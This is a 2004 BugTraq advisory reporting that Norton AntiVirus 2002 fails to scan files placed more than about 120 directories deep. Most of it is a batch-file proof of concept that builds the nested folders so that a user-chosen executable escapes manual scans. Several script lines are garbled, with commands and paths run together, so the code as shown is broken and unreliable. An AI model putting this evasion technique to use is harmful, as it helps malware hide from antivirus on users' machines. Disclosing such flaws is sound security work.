BugTraq
Norton AntiVirus nested file manual scan bypass..... Apr 17 2004 02:50PM
Bipin Gautam (visitbipin hotmail com)


Norton AntiVirus nested file manual scan bypass.....

Product Version: Norton Antivirus 2002 (~Only tested On...~)

Risk Impact: Medium

Vendor Status: No responce!

Summary:

If you manage to inject a file in the sub-directory(s); beyond windows OS can create normally, [ say in 130 'th + sub-directory at c:\..\..\..\....upto 130'th ... ] NAV fails to scan the NESTED FILE. Indeed, it's more a windows restriction in accesing the nested file than a ANTIVIRUS flaw. Other antivirus product should also suffer the same. *.PLEASE VERIFY.* NAV

=-------CUT----------=

@echo off

rem Bipin Gautam [hUNT3R]

rem [http://www.geocities.com/visitbipin] * [http://www.01security.com]

echo »

echo ************************************************

echo -( For a harmless test... you can use,

echo http://www.eicar.org/anti_virus_test_file.htm )-

echo ************************************************

pause

cdc:

cd:hUNT3r

md 1

cd 1

if not errorlevel 1 goto :hUNT3r

cd..

rmdir 1

md X

cls

echo ***************************************************************

echo Now you can inject any file inside the folder 'X' which is inside

echo 120'th sub-directory of 'c:\1' [ i.e c:\1\..\...\.....[120'th dir].....\X\ ]

echo Note: The file you are moving to'c:\1\...\X\' should only contain

echo '1' char. file name, say: '1.exe' or '2.exe' or 'a.exe' etc...

echo not as '123.not' 'qwert.hak'

echo .........

echo So, ARE YOU DONE!?

echo .........

echo After this batch script is terminated, you'll

echo find the file you ^just copied^ inside c:\1\........\X\

echo now in c:\3\3\3\3\3\1\1\1\......[130' th dir].....\Xecho mmm... Then have a manual scan of c:\3\ Any file you

echo have put inside the dir. 'X' can't be detected by NORTON Antivirus anymore!!!

echo ***************************************************

pause

cdmd 3\3\3\3\3\3\3\3\3\3cdxcopy /E /I c:\1\*.* c:3\3\3\3\3\3\3\3\3\3exit

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Disclaimer: The information in the advisory is believed to be accurate at the time of printing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect or consequential loss or damage arising from use of, or reliance on this information.

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